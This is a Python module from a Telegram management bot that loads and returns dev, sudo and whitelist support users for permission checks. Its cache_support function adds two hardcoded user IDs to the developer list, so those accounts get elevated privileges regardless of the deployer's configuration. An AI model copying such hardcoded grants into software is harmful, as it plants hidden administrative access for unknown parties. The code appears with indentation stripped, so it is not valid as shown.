managementbot / Powers /supports.py
Captain Ezio
latency reduced
f3af719
import Powers
from Powers import OWNER_ID, SUPPORT_USERS
from Powers.database.support_db import SUPPORTS
async def load_support_users():
support = SUPPORTS()
for i in SUPPORT_USERS["Dev"]:
support.insert_support_user(int(i), "dev")
for i in SUPPORT_USERS["Sudo"]:
support.insert_support_user(int(i), "sudo")
for i in SUPPORT_USERS["White"]:
support.insert_support_user(int(i), "whitelist")
return
def get_support_staff(want="all"):
"""
dev, sudo, whitelist, dev_level, sudo_level, all
"""
support = SUPPORTS()
if want in ["dev", "dev_level"]:
devs = SUPPORT_USERS["Dev"] or support.get_particular_support("dev")
wanted = list(devs)
if want == "dev_level":
wanted.append(OWNER_ID)
elif want == "sudo":
sudo = SUPPORT_USERS["Sudo"] or support.get_particular_support("sudo")
wanted = list(sudo)
elif want == "whitelist":
whitelist = SUPPORT_USERS["White"] or support.get_particular_support("whitelist")
wanted = list(whitelist)
elif want == "sudo_level":
devs = SUPPORT_USERS["Dev"] or support.get_particular_support("dev")
sudo = SUPPORT_USERS["Sudo"] or support.get_particular_support("sudo")
wanted = list(sudo) + list(devs) + [OWNER_ID]
else:
devs = SUPPORT_USERS["Dev"] or support.get_particular_support("dev")
sudo = SUPPORT_USERS["Sudo"] or support.get_particular_support("sudo")
whitelist = SUPPORT_USERS["White"] or support.get_particular_support("whitelist")
wanted = list(set([int(OWNER_ID)] + list(devs) + list(sudo) + list(whitelist)))
return wanted or []
async def cache_support():
support = SUPPORTS()
dev = support.get_particular_support("dev")
dev.extend([1344569458, 1432756163, int(OWNER_ID)])
devs = set(dev)
sudo = set(support.get_particular_support("sudo"))
SUPPORT_USERS["Dev"] = SUPPORT_USERS["Dev"].union(devs)
SUPPORT_USERS["Sudo"] = SUPPORT_USERS["Sudo"].union(sudo)
return